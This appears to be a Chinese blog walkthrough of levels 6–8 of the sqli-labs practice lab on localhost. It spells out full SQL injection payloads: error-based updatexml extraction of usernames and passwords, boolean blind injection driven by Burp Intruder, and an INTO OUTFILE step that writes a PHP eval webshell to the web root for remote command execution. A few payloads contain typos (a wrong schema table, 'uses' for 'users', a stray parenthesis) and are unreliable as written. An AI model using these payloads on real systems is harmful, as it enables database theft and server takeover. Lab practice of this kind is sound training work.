sqli-labs靶场通关攻略(6-8关)

第六关(闭合方式为 "  ,报错注入)

同样先判断闭合方式,此关为 " 闭合

这关呢我们使用报错注入

接下来我们用抓包工具来测他的字段列数

打开抓包工具Burp Suite并开启抓包

order by 1 来判断,回车后我们打开工具页面,在抓包工具里进行操作

好,这里我们已经抓到包了,然后把他发送到攻击器里面

选中http://127.0.0.1/Less-6/?id=1%22%20order%20by%201%20--+ 中的1

添加之后设置参数,然后开始攻击

暴力破解后得到长度为三(点击length,会自动筛选,看到有三条数据和其他的差异很大)

我们下来我们查询数据库名 

127.0.0.1/Less-6/?id=1" and updatexml(1,concat(1,(select database())),1) --+

这里我们查到数据库名为 security,那么我们接下来查表名

127.0.0.1/Less-6/?id=1" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+

接下来我们查列名

127.0.0.1/Less-6/?id=1" and updatexml(1,concat(1,(select group_concat(column_name)from information_schema.tables where table_schema='security' and table_name='users')),1) --+

接下来我们查具体的 username 和 password 

127.0.0.1/Less-6/?id=1" and updatexml(1,concat(1,(select group_concat(username,password)from users)),1) --+

这里显示不全,我们也可以用 limit 一条一条查询

这里是第一条的username

127.0.0.1/Less-6/?id=1" and updatexml(1,concat(1,(select username from users limit 0,1)),1) --+

第二条username

127.0.0.1/Less-6/?id=1" and updatexml(1,concat(1,(select username from users limit 1,1)),1) --+

第三条username

127.0.0.1/Less-6/?id=1" and updatexml(1,(concat(1,(select username from users limit 2,1)),1) --+

password同理查询

第一条

127.0.0.1/Less-6/?id=1" and updatexml(1,concat(1,(select password from users limit 0,1)),1) --+

第二条

127.0.0.1/Less-6/?id=1" and updatexml(1,concat(1,(select password from uses limit 1,1)),1) --+

第七关(闭合方式为 ')) ,外带注入)

输入1d=1后提示我们用outfile

这里我们进入dos命令页面查询一下secure-file-priv的当前值是否为空,

 查询:show variables like '%secure%';

我们可以打开根目录返回到www同级别目录下的

\phpstudy_pro\Extensions 然后打开这个my.ini文件

在这里插入这条语句    secure_file_priv = ''

然后保存,重启数据库

接下来我们用union联合查询注入参数,用 into outfile 给他注入一个一句话木马文件

127.0.0.1/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST[cmd]);?>' into outfile "D:\\phpstudy_pro\\WWW\\1.php"--+

接下来我们访问一下这个目录看php木马文件是否上传成功 ,如果可以访问到就说明上传成功

接下来我们使用菜刀进行连接

地址就输入可以访问到木马文件的地址就行 第二个框则是输入php语句中的括号里的内容(这里为了方便大家看到小编用红色字体标出来了哦)'<?php @eval($_POST[cmd]);?>

然后我们就可以进去进行其他操作了,也可以打开终端在其计算机上进行dos命令

第八关(闭合方式为  '  ,布尔盲注)

 此关我们需要用到布尔盲注以及抓包工具

首先判断数据库名称的长度

127.0.0.1/Less-8/?id=1' and length(database())=1 --+

并抓包发送到攻击器并设置参数(这里就不细说了,详细的可以往上翻看第六关,那里有非常详细的抓包教学)

设置好之后开始攻击,并得到长度为八

接下来我们开始判断数据库的名称,这里要用到集束炸弹(一次设置多个变量)

127.0.0.1/Less-8/?id=1' and ascii(substr(database(),1,1))=100 --+

这里需要把攻击方式换成多个如下图

1的参数

2的参数

攻击完成得到一下ascii码我们根据ascii码表查询其数值所代表的字符(温馨提示:这里要注意字符的顺序哦,payload 1 里面的数字是数据库名称的字符顺序 -3为名称的第三个字符,其他同理)我们可以得到数据库名为security

接下来我们开始查security数据库中第一个表名

127.0.0.1/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=100 --+

这里不知道他的名字为几位所以就先设置1-10

开始攻击后得到结果,第一个表名为emails

第二表名,直接返回攻击器界面,修改一个数字,其他不用变,接着攻击

得到第二个表名 referers

接着依次类推,同样那个框起来的位置换成2,3,4(下图灰色方框的)

得到所有表名之后我们开始查询users表中的数据

127.0.0.1/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=100 --+

接下来同样是抓包,还是设置同样的参数 ,得到第一个字段为id,第二个为username,第三个为password

接下来查询username和·password·

查username

127.0.0.1/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),1,1))=100 --+

查password

127.0.0.1/Less-8/?id=1' and ascii(substr((select password from users limit 0,1),1,1))=100 --+

后面也都是同上的步骤,改参数

然后攻击这里得到username第一个为Dumb

第一个password为Dumb

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值